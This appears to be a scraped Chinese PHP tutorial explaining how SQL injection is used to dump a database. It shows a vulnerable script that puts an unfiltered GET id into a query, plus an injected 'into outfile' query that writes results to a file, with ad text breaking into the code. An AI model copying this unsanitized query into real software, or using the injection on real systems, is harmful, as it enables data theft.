sql安全之SQL注入漏洞拖库原理解析_PHP教程

CREATE TABLE `article` (

  `articleid` int(11) NOT NULL AUTO_INCREMENT,

  `title` varchar(100) CHARACTER SET utf8 NOT NULL DEFAULT '',

  `content` text CHARACTER SET utf8 NOT NULL,

立即学习“PHP免费学习笔记（深入）”；

  PRIMARY KEY (`articleid`)

) ENGINE=MyISAM AUTO_INCREMENT=7 DEFAULT CHARSET=latin1;

       $servername = "localhost";

       $dbusername = "root";

       $dbpassword = "";

       $dbname = "test";

       $id=$_GET['id'];//id未经过滤

       $conn=mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");

       mysql_select_db($dbname,$conn);

       mysql_query('set names utf8');

       $sql = "SELECT * FROM article WHERE articleid='$id'";

       $result = mysql_query($sql,$conn);

       $row = mysql_fetch_array($result);

       echo "

利用SQL注入漏洞拖库

";

       if (!$row){

              echo "该记录不存在";

              exit;

       }

       echo "标题
".$row['title']."

钉钉 AI 助理

钉钉AI助理汇集了钉钉AI产品能力，帮助企业迈入智能新时代。

21

查看详情

";

       echo "内容
".$row['content']."

";

?>

http://127.0.0.1/marcofly/phpstudy/sqlinsert/showart.php?id=1

SELECT * FROM article WHERE articleid='5' into outfile 'e:/whf.txt'#'